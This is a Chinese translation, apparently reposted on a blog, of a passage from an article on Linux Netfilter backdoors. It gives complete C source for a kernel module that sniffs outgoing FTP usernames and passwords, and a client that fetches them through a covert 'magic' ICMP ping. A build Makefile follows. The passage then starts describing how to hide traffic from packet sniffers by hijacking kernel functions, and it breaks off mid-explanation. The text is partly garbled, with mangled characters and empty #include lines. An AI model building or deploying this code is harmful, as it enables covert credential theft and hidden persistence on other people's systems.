各種簡(jiǎn)單的管理員任務(wù),例如獲取當(dāng)前登錄到主機(jī)的用戶的列表或責(zé)獲取打開(kāi)的網(wǎng)絡(luò)連接的信息。 -- 并非一個(gè)真正的后門(mén),而是位于網(wǎng)絡(luò)邊界的模塊,并且阻擋任何被疑為來(lái)自特洛伊木馬、ICMP隱蔽通道或者像KaZaa這樣的文件共享工具的通信。 -- 文件傳輸“服務(wù)器”。我最近已經(jīng)實(shí)現(xiàn)了這個(gè)主意,由此引起的Linux核心編程是數(shù)小時(shí)的樂(lè)趣:) -- 數(shù)據(jù)包跳躍。重定向目的為木馬主機(jī)指定端口的數(shù)據(jù)包到其它的IP主機(jī)和端口,并且從那臺(tái)主機(jī)發(fā)回?cái)?shù)據(jù)包到發(fā)起者。沒(méi)有進(jìn)程被派生,并且最妙的是,沒(méi)有網(wǎng)絡(luò)套接字被打開(kāi)。 -- 上面描述的數(shù)據(jù)包跳躍用于與網(wǎng)絡(luò)中的關(guān)鍵系統(tǒng)以半隱蔽方式通信。例如:配置路由器等。 -- FTP/POP3/Telnet密碼嗅探器。嗅探輸出的密碼并保存相關(guān)信息,直到進(jìn)入的“魔法”數(shù)據(jù)包要求獲取它們。 以上只是一些想法的簡(jiǎn)短的列表,其中最后一個(gè)想法是我們?cè)诮酉聛?lái)的一節(jié)中將要真正詳細(xì)討論的。它 提供了一個(gè)很好的了解更多的深藏于核心網(wǎng)絡(luò)代碼中的函數(shù)的機(jī)會(huì)。
----[ 5.2 - 基于內(nèi)核的FTP密碼嗅探器
在這里展現(xiàn)的是一個(gè)簡(jiǎn)單的,原理性的,用做Netfilter后門(mén)的模塊。該模塊嗅探輸出的FTP數(shù)據(jù)包,查找對(duì)于一個(gè)FTP服務(wù)器一個(gè) USER于PASS命令對(duì)。當(dāng)這樣一個(gè)命令對(duì)被發(fā)現(xiàn)后,該模塊接下來(lái)將等待一個(gè)“魔法”ICMP ECHO(ping)數(shù)據(jù)包,該數(shù)據(jù)包應(yīng)當(dāng)足夠大,使其能返回服務(wù)器的IP地址、用戶名以及密碼。同時(shí)提供了一個(gè)快速的發(fā)送一個(gè)“魔法”數(shù)據(jù)包,獲取返回 然后打印返回信息的技巧。一旦用戶名/密碼對(duì)從模塊讀取后,模塊將接著查找下一對(duì)。注意,模塊每次只保存一個(gè)對(duì)。以上是簡(jiǎn)要的瀏覽,是該展示更多的細(xì)節(jié), 來(lái)看模塊如何做到這些的時(shí)候了。 當(dāng)模塊加載時(shí),模塊的init_module()函數(shù)簡(jiǎn)單的注冊(cè)了兩個(gè)Netfilter hook。第一個(gè)用于查看輸入的數(shù)據(jù)包(在NF_IP_PRE_ROUTING處),嘗試發(fā)現(xiàn)“魔法”ICMP數(shù)據(jù)包。接下來(lái)的一個(gè)用于查看離開(kāi)該模塊被 安裝的主機(jī)的數(shù)據(jù)包(在NF_IP_POST_ROUTING處),這個(gè)函數(shù)正是搜索和捕獲FTP的USER和PASS數(shù)據(jù)包的地方。 cleanup_module()函數(shù)只是簡(jiǎn)單的注銷(xiāo)這兩個(gè)hook。 watch_out()是用于hook NF_IP_POST_ROUTING的函數(shù),查看這個(gè)函數(shù)你可以看到,它的執(zhí)行的操作非常簡(jiǎn)單。當(dāng)一個(gè)數(shù)據(jù)包進(jìn)入這個(gè)函數(shù)過(guò)后,將經(jīng)過(guò)各種檢查,以確定 它是一個(gè)FTP數(shù)據(jù)包。如果它不是一個(gè)FTP數(shù)據(jù)包,那么立即返回NF_ACCEPT。如果它是一個(gè)FTP數(shù)據(jù)包,那么該模塊進(jìn)行檢查是否已經(jīng)存在一個(gè)用 戶名/密碼對(duì)。如果存在(以have_pair的非零值標(biāo)識(shí)),那么返回NF_ACCEPT,該數(shù)據(jù)包最終能夠離開(kāi)該系統(tǒng)。否則,check_ftp() 函數(shù)被調(diào)用,這是密碼提取實(shí)際發(fā)生的地方。如果沒(méi)有先前的數(shù)據(jù)包已經(jīng)被接收,那么target_ip和target_port變量應(yīng)當(dāng)被清除。 check_ftp()開(kāi)始于從數(shù)據(jù)包的開(kāi)始查找"USER","PASS"或"QUIT"。注意直到USER命令處理之后才處理PASS命 令。這樣做的目的是為了防止在某些情況下PASS命令先于USER命令被接收到以及在USER到達(dá)之前連接中斷而導(dǎo)致的死鎖的發(fā)生。同樣,如果QUIT命 令到達(dá)時(shí)僅有用戶名被捕獲,那么將重置操作,開(kāi)始嗅探一個(gè)新的連接。當(dāng)一個(gè)USER或者PASS命令到達(dá)時(shí),如果必要完整性校驗(yàn)通過(guò),則記錄下命令的參 數(shù)。正常運(yùn)行下,在check_ftp()函數(shù)完成之前,檢查是否已經(jīng)有了一個(gè)有效的用戶名和密碼串。如果是,則設(shè)置have_pair的值為非零并且在 當(dāng)前的用戶名/密碼對(duì)被獲取之前不會(huì)再抓取其它的用戶名或密碼。 到目前為止你已經(jīng)看到了該模塊如何安裝它自己以及如何開(kāi)始搜尋待記錄的用戶名和密碼。接下來(lái)你將看到當(dāng)指定的“魔法”數(shù)據(jù)包到達(dá)時(shí)會(huì)發(fā)生什 么。在此需特別注意,因?yàn)檫@是在整個(gè)開(kāi)發(fā)過(guò)程中出現(xiàn)的最大難題。如果我沒(méi)記錯(cuò)的話,共遭遇了16個(gè)核心錯(cuò)誤:)。當(dāng)數(shù)據(jù)包進(jìn)安裝該模塊的主機(jī) 時(shí),watch_in()檢查每一個(gè)數(shù)據(jù)包以查看其是否是一個(gè)“魔法”數(shù)據(jù)包。如果數(shù)據(jù)包不能提供足以證明它是一個(gè)“魔法”數(shù)據(jù)包的信息,那么它將被被 watch_in()忽略,簡(jiǎn)單的返回一個(gè)NF_ACCEPT。注意“魔法”數(shù)據(jù)包的標(biāo)準(zhǔn)之一是它們必須有足夠的空間來(lái)存放IP地址以及用戶名和密碼串。 這使得發(fā)送應(yīng)答更加容易。當(dāng)然,可以重新分配一個(gè)新的sk_buff,但是正確的獲取所有必要的域得值可能會(huì)比較困難,并且你還必須得正確的獲取它們!因 此,與其為我們的應(yīng)答數(shù)據(jù)包創(chuàng)建一個(gè)新的數(shù)據(jù)結(jié)構(gòu),不如簡(jiǎn)單的調(diào)整請(qǐng)求數(shù)據(jù)包的數(shù)據(jù)結(jié)構(gòu)。為了成功的返回?cái)?shù)據(jù)包,需要做幾個(gè)改動(dòng)。首先,交換IP地址,并 且sk_buff數(shù)據(jù)結(jié)構(gòu)中描述數(shù)據(jù)包類(lèi)型的域(pkt_type)應(yīng)當(dāng)被換成PACKET_OUTGOING,這些宏在 linux/if_packet.h中定義。接下來(lái)應(yīng)當(dāng)小心的是確定包含了任意的鏈路層頭。我們接收到的數(shù)據(jù)包的sk_buff數(shù)據(jù)結(jié)構(gòu)的數(shù)據(jù)域指向鏈路 層頭之后,并且它是指向被發(fā)送的數(shù)據(jù)包的數(shù)據(jù)的開(kāi)始的數(shù)據(jù)域。那么對(duì)于需要鏈路層包頭(以太網(wǎng)及環(huán)回和點(diǎn)對(duì)點(diǎn)的raw)的接口,我們將數(shù)據(jù)域指向 mac.ethernet或者mac.raw結(jié)構(gòu)。為確定這個(gè)數(shù)據(jù)包來(lái)自的什么類(lèi)型的接口你可以查看sb->dev->type的值,其中 sb是一個(gè)指向sk_buff數(shù)據(jù)結(jié)構(gòu)的指針。這個(gè)域的有效值可以在linux/if_arp.h中找到,但其中最有用的幾個(gè)在下面的表3中列出。 表3 : 接口類(lèi)型的常用值
類(lèi)型代碼 ? ? ? ?接口類(lèi)型 ARPHRD_ETHER ? ?以太網(wǎng) ARPHRD_LOOPBACK ? ?環(huán)回設(shè)備 ARPHRD_PPP ? ? ? ?點(diǎn)對(duì)點(diǎn)(例如撥號(hào))
最后,我們要做的是真正的復(fù)制我們想在的應(yīng)答中送出的數(shù)據(jù)。到送出數(shù)據(jù)包的時(shí)候了,dev_queue_xmit()函數(shù)以一個(gè)指向sk_buff數(shù)據(jù)結(jié) 構(gòu)的指針作為它唯一的參數(shù),在“好的錯(cuò)誤”情況下,返回一個(gè)負(fù)的錯(cuò)誤代碼。我所說(shuō)的“好的錯(cuò)誤”是什么意思呢?如果你給函數(shù) dev_queue_xmit()一個(gè)錯(cuò)誤構(gòu)造的套接字緩沖,那么你就會(huì)得到一個(gè)伴隨著內(nèi)核錯(cuò)誤和內(nèi)核堆棧的dump信息的“不太好的錯(cuò)誤”。看看在這里 錯(cuò)誤如何能被分成兩組?最后,watch_in()返回NF_STOLEN,以告訴Netfilter忘掉它曾經(jīng)見(jiàn)到過(guò)這個(gè)數(shù)據(jù)包。如果你已經(jīng)調(diào)用了 dev_queue_xmit(),不要返回NF_DROP!這是因?yàn)閐ev_queue_xmit()將釋放傳遞進(jìn)來(lái)的套接字緩沖,而 Netfilter會(huì)嘗試對(duì)被NF_DROP的數(shù)據(jù)包做同樣的操作。好了。對(duì)于代碼的討論已經(jīng)足夠了,請(qǐng)看具體的代碼。 ------[ 5.2.1 - 源代碼 : nfsniff.c
<++> nfsniff/nfsniff.c
#define MODULE #define __KERNEL__
#include? #include? #include? #include? #include? #include? #include? #include? #include? #include? #include? #include? #include?
#define MAGIC_CODE ? 0x5B #define REPLY_SIZE ? 36
#define ICMP_PAYLOAD_SIZE ?(htons(sb->nh.iph->tot_len) \ - sizeof(struct iphdr) \ - sizeof(struct icmphdr))
static char *username = NULL; static char *password = NULL; static int ?have_pair = 0; ? ?
static unsigned int target_ip = 0; static unsigned short target_port = 0;
struct nf_hook_ops ?pre_hook; ? ? ? ? ? struct nf_hook_ops ?post_hook; ? ? ? ? ?
static void check_ftp(struct sk_buff *skb) { struct tcphdr *tcp; char *data; int len = 0; int i = 0; tcp = (struct tcphdr *)(skb->data + (skb->nh.iph->ihl * 4)); data = (char *)((int)tcp + (int)(tcp->doff * 4));
if (username) if (skb->nh.iph->daddr != target_ip || tcp->source != target_port) return; if (strncmp(data, "USER ", 5) == 0) { ? ? ? ? ? data += 5; if (username) ?return; while (*(data + i) != ‘\r‘ && *(data + i) != ‘\n‘ && *(data + i) != ‘\0‘ && i < 15) { len++; i++; } if ((username = kmalloc(len + 2, GFP_KERNEL)) == NULL) return; memset(username, 0x00, len + 2); memcpy(username, data, len); *(username + len) = ‘\0‘; ? ? ? ? ? } else if (strncmp(data, "PASS ", 5) == 0) { ? data += 5;
if (username == NULL) return; if (password) ?return; while (*(data + i) != ‘\r‘ && *(data + i) != ‘\n‘ && *(data + i) != ‘\0‘ && i < 15) { len++; i++; }
if ((password = kmalloc(len + 2, GFP_KERNEL)) == NULL) return; memset(password, 0x00, len + 2); memcpy(password, data, len); *(password + len) = ‘\0‘; ? ? ? ? ? } else if (strncmp(data, "QUIT", 4) == 0) { if (have_pair) ?return; if (username && !password) { kfree(username); username = NULL; target_port = target_ip = 0; have_pair = 0; return; } } else { return; }
if (!target_ip) target_ip = skb->nh.iph->daddr; if (!target_port) target_port = tcp->source;
if (username && password) have_pair++; ? ? ? ? ? ? ? // ? if (have_pair) // ? ? printk("Have password pair! ?U: %s ? P: %s\n", username, password); }
static unsigned int watch_out(unsigned int hooknum, struct sk_buff **skb, const struct net_device *in, const struct net_device *out, int (*okfn)(struct sk_buff *)) { struct sk_buff *sb = *skb; struct tcphdr *tcp; if (sb->nh.iph->protocol != IPPROTO_TCP) return NF_ACCEPT; ? ? ? ? ? ? ? tcp = (struct tcphdr *)((sb->data) + (sb->nh.iph->ihl * 4)); if (tcp->dest != htons(21)) return NF_ACCEPT; ? ? ? ? ? ? ? if (!have_pair) check_ftp(sb); return NF_ACCEPT; }
static unsigned int watch_in(unsigned int hooknum, struct sk_buff **skb, const struct net_device *in, const struct net_device *out, int (*okfn)(struct sk_buff *)) { struct sk_buff *sb = *skb; struct icmphdr *icmp; char *cp_data; ? ? ? ? ? ? ? unsigned int ? taddr; ? ? ? ? ?
if (!have_pair) return NF_ACCEPT; if (sb->nh.iph->protocol != IPPROTO_ICMP) return NF_ACCEPT; icmp = (struct icmphdr *)(sb->data + sb->nh.iph->ihl * 4);
if (icmp->code != MAGIC_CODE || icmp->type != ICMP_ECHO || ICMP_PAYLOAD_SIZE < REPLY_SIZE) { return NF_ACCEPT; } taddr = sb->nh.iph->saddr; sb->nh.iph->saddr = sb->nh.iph->daddr; sb->nh.iph->daddr = taddr;
sb->pkt_type = PACKET_OUTGOING;
switch (sb->dev->type) { case ARPHRD_PPP: ? ? ? ? ? ? ? break; case ARPHRD_LOOPBACK: case ARPHRD_ETHER: { unsigned char t_hwaddr[ETH_ALEN]; sb->data = (unsigned char *)sb->mac.ethernet; sb->len += ETH_HLEN; //sizeof(sb->mac.ethernet); memcpy(t_hwaddr, (sb->mac.ethernet->h_dest), ETH_ALEN); memcpy((sb->mac.ethernet->h_dest), (sb->mac.ethernet->h_source), ETH_ALEN); memcpy((sb->mac.ethernet->h_source), t_hwaddr, ETH_ALEN); break; } };
cp_data = (char *)((char *)icmp + sizeof(struct icmphdr)); memcpy(cp_data, &target_ip, 4); if (username) memcpy(cp_data + 4, username, 16); if (password) memcpy(cp_data + 20, password, 16); dev_queue_xmit(sb);
kfree(username); kfree(password); username = password = NULL; have_pair = 0; target_port = target_ip = 0;
// ? printk("Password retrieved\n"); return NF_STOLEN; }
int init_module() { pre_hook.hook ? ? = watch_in; pre_hook.pf ? ? ? = PF_INET; pre_hook.priority = NF_IP_PRI_FIRST; pre_hook.hooknum ?= NF_IP_PRE_ROUTING; post_hook.hook ? ? = watch_out; post_hook.pf ? ? ? = PF_INET; post_hook.priority = NF_IP_PRI_FIRST; post_hook.hooknum ?= NF_IP_POST_ROUTING; nf_register_hook(&pre_hook); nf_register_hook(&post_hook); return 0; }
void cleanup_module() { nf_unregister_hook(&post_hook); nf_unregister_hook(&pre_hook); if (password) kfree(password); if (username) kfree(username); } <-->
------[ 5.2.2 - 源代碼 : getpass.c
<++> nfsniff/getpass.c
#include? #include? #include? #include? #include? #include? #include? #include? #include?
#ifndef __USE_BSD # define __USE_BSD ? ? ? ? ? ? ? #endif # include? #include?
static unsigned short checksum(int numwords, unsigned short *buff);
int main(int argc, char *argv[]) { unsigned char dgram[256]; ? ? ? ? ? unsigned char recvbuff[256]; struct ip *iphead = (struct ip *)dgram; struct icmp *icmphead = (struct icmp *)(dgram + sizeof(struct ip)); struct sockaddr_in src; struct sockaddr_in addr; struct in_addr my_addr; struct in_addr serv_addr; socklen_t src_addr_size = sizeof(struct sockaddr_in); int icmp_sock = 0; int one = 1; int *ptr_one = &one; if (argc < 3) { fprintf(stderr, "Usage: ?%s remoteIP myIP\n", argv[0]); exit(1); }
if ((icmp_sock = socket(PF_INET, SOCK_RAW, IPPROTO_ICMP)) < 0) { fprintf(stderr, "Couldn‘t open raw socket! %s\n", strerror(errno)); exit(1); }
if(setsockopt(icmp_sock, IPPROTO_IP, IP_HDRINCL, ptr_one, sizeof(one)) < 0) { close(icmp_sock); fprintf(stderr, "Couldn‘t set HDRINCL option! %s\n", strerror(errno)); exit(1); } addr.sin_family = AF_INET; addr.sin_addr.s_addr = inet_addr(argv[1]); my_addr.s_addr = inet_addr(argv[2]); memset(dgram, 0x00, 256); memset(recvbuff, 0x00, 256); iphead->ip_hl ?= 5; iphead->ip_v ? = 4; iphead->ip_tos = 0; iphead->ip_len = 84; iphead->ip_id ?= (unsigned short)rand(); iphead->ip_off = 0; iphead->ip_ttl = 128; iphead->ip_p ? = IPPROTO_ICMP; iphead->ip_sum = 0; iphead->ip_src = my_addr; iphead->ip_dst = addr.sin_addr; icmphead->icmp_type = ICMP_ECHO; icmphead->icmp_code = 0x5B; icmphead->icmp_cksum = checksum(42, (unsigned short *)icmphead); fprintf(stdout, "Sending request...\n"); if (sendto(icmp_sock, dgram, 84, 0, (struct sockaddr *)&addr, sizeof(struct sockaddr)) < 0) { fprintf(stderr, "\nFailed sending request! %s\n", strerror(errno)); return 0; }
fprintf(stdout, "Waiting for reply...\n"); if (recvfrom(icmp_sock, recvbuff, 256, 0, (struct sockaddr *)&src, &src_addr_size) < 0) { fprintf(stdout, "Failed getting reply packet! %s\n", strerror(errno)); close(icmp_sock); exit(1); } iphead = (struct ip *)recvbuff; icmphead = (struct icmp *)(recvbuff + sizeof(struct ip)); memcpy(&serv_addr, ((char *)icmphead + 8), sizeof (struct in_addr)); fprintf(stdout, "Stolen for ftp server %s:\n", inet_ntoa(serv_addr)); fprintf(stdout, "Username: ? ?%s\n", (char *)((char *)icmphead + 12)); fprintf(stdout, "Password: ? ?%s\n", (char *)((char *)icmphead + 28)); close(icmp_sock); return 0; }
static unsigned short checksum(int numwords, unsigned short *buff) { unsigned long sum; for(sum = 0;numwords > 0;numwords--) sum += *buff++; ? sum = (sum >> 16) + (sum & 0xFFFF); sum += (sum >> 16); return ~sum; } <-->
** 譯注:上述兩個(gè)文件的Makefile:
<++> nfsniff/Makefile #Makefile ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? # ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? CFLAGS=-Wall ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ?? LIBS=-L/usr/lib -lc # Change include directory for your kernel ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ?? MODULE_CFLAGS=-I/usr/src/custom/linux-2.4.18-3/include? MODULE_CFLAGS+=$(CFLAGS) ? ? ? ? ? ? ? ? ? ? ? ? ? ? ?? EXECUTE_CFLAGS=-ggdb ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ?? EXECUTE_CFLAGS+=$(CFLAGS) ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? all : nfsniff.o getpass ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? nfsniff.o : nfsniff.c ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? gcc -c nfsniff.c -o nfsniff~.o $(MODULE_CFLAGS) ld -r -o nfsniff.o nfsniff~.o $(LIBS) ? ? ? ? ? getpass.o : getpass.c ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? gcc -c getpass.c $(EXECUTE_CFLAGS) ? ? ? ? ? ?? getpass : getpass.o ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? gcc -o getpass getpass.o $(EXECUTE_CFLAGS) ? ?? clean : ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? rm -f *.o getpass ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? <-->
**譯注完
--[ 6 - 在Libpcap中隱藏網(wǎng)絡(luò)通信
這一節(jié)簡(jiǎn)短的描述,如何在修改Linux的內(nèi)核,使與匹配預(yù)先定義的條件的網(wǎng)絡(luò)通信對(duì)運(yùn)行于本機(jī)的數(shù)據(jù)包嗅探工具不可見(jiàn)。列在本文最后的是可以正常運(yùn)行的代碼,它實(shí)現(xiàn)了隱藏所有來(lái)自或者是去往指定的IP地址的數(shù)據(jù)包的功能。好了,讓我們開(kāi)始... ----[ 6.1 - SOCK_PACKET、SOCK_RAW與Libpcap
對(duì)系統(tǒng)管理員來(lái)說(shuō),最有用的軟件莫過(guò)于哪些在廣義分類(lèi)下被稱為“數(shù)據(jù)包嗅探器”的軟件了。兩個(gè)最典型的通用數(shù)據(jù)包嗅探器是 tcpdump(1)以及ethereal(1)。這兩個(gè)軟件都利用了Libpcap庫(kù)(隨著參考文獻(xiàn)[1]中的tcpdump發(fā)布)來(lái)抓取原始數(shù)據(jù)包。 網(wǎng)絡(luò)入侵檢測(cè)系統(tǒng)(NIDS)也利用了Libpcap庫(kù)。SNORT需要Libpcap,Libnids??一個(gè)提供IP重組和TCP流跟蹤的NIDS開(kāi) 發(fā)庫(kù)(參見(jiàn)參考文獻(xiàn)[2]),也是如此。 在Linux系統(tǒng)下,Libpcap庫(kù)使用SOCK_PACKET接口。Packet套接字是一種特殊的套接字,它可以用于發(fā)生和接收鏈路層 的原始數(shù)據(jù)包。關(guān)于Paket套接字有很多話題,但是由于本節(jié)討論的是關(guān)于如何隱藏它們而不是如何利用它們,感興趣的讀者可以直接去看packet(7) 手冊(cè)頁(yè)。對(duì)于本文中的討論,只需要理解packet套接字被Libpcap應(yīng)用程序用于獲取進(jìn)入或者離開(kāi)本地主機(jī)的原始數(shù)據(jù)包。 當(dāng)核心網(wǎng)絡(luò)堆棧收到一個(gè)數(shù)據(jù)包的時(shí)候,檢查該數(shù)據(jù)包是否是某個(gè)packet套接字感興趣的數(shù)據(jù)包。如果是,則將該數(shù)據(jù)遞交給那些對(duì)其感興趣的 套接字。如果不是,該數(shù)據(jù)包繼續(xù)它的旅程,進(jìn)入TCP、UDP或者其它類(lèi)型的套接字。對(duì)于SOCK_RAW類(lèi)型的套接字同樣如此。原始套接字很類(lèi)似于 packet套接字,只是原始套接字不提供鏈路層的包頭。一個(gè)利用原始套接字的實(shí)用程序的例子是我的SYNalert程序,參見(jiàn)參考文獻(xiàn)[3](請(qǐng)?jiān)徫?在這兒插入的題外話 :)。 到此,你應(yīng)該已經(jīng)了解了Linux下的數(shù)據(jù)包嗅探軟件使用了Libpcap庫(kù)。Libpcap在Linux下利用packet套接字接口來(lái)獲 取包含鏈路層包頭的原始數(shù)據(jù)包。同時(shí)提到了原始套接字,它提供給用戶空間的應(yīng)用程序獲取包含IP頭的數(shù)據(jù)包的方法。下一節(jié)將討論如何通過(guò)Linux核心模 塊來(lái)隱藏來(lái)自這些packet套接字以及原始套接字的網(wǎng)絡(luò)通信。 ------[ 6.2 給狼披上羊皮
當(dāng)收到數(shù)據(jù)包并將其送到一個(gè)packet套接字時(shí),packet_rcv()函數(shù)被調(diào)用。這個(gè)函數(shù)可以在net/packet /af_packet.c中找到,packet_rcv()負(fù)責(zé)使數(shù)據(jù)包經(jīng)過(guò)所有應(yīng)用于目的套接字的套接字過(guò)濾器,并最終將其遞交到用戶空間。為了隱藏來(lái) 自packet套接字的數(shù)據(jù)包,我們需要阻止所有特定數(shù)據(jù)包調(diào)用packet_rcv()函數(shù)。我們?nèi)绾巫龅竭@一點(diǎn)?當(dāng)然是優(yōu)秀的ol式的函數(shù)劫持了。 函數(shù)劫持的基本操作是:如果我們知道一個(gè)內(nèi)核函數(shù),甚至是那些沒(méi)有被導(dǎo)出的函數(shù),的入口地址,我們可以在使實(shí)際的代碼運(yùn)行前將這個(gè)函數(shù)重定位 到其他的位置。為了達(dá)到這樣的目的,我們首先要從這個(gè)函數(shù)的開(kāi)始,保存其原來(lái)的指令字節(jié),然后將它們換成跳轉(zhuǎn)到我們的代碼處執(zhí)行的絕對(duì)跳轉(zhuǎn)指令。例如以 i386匯編語(yǔ)言實(shí)現(xiàn)該操作如下: movl ?(address of our function), ?
總結(jié)
以上是生活随笔為你收集整理的Netfilter 详解的全部?jī)?nèi)容,希望文章能夠幫你解決所遇到的問(wèn)題。
- 上一篇: ubuntu不启动图形界面
- 下一篇: TCP三次握手连接及seq和ack号的正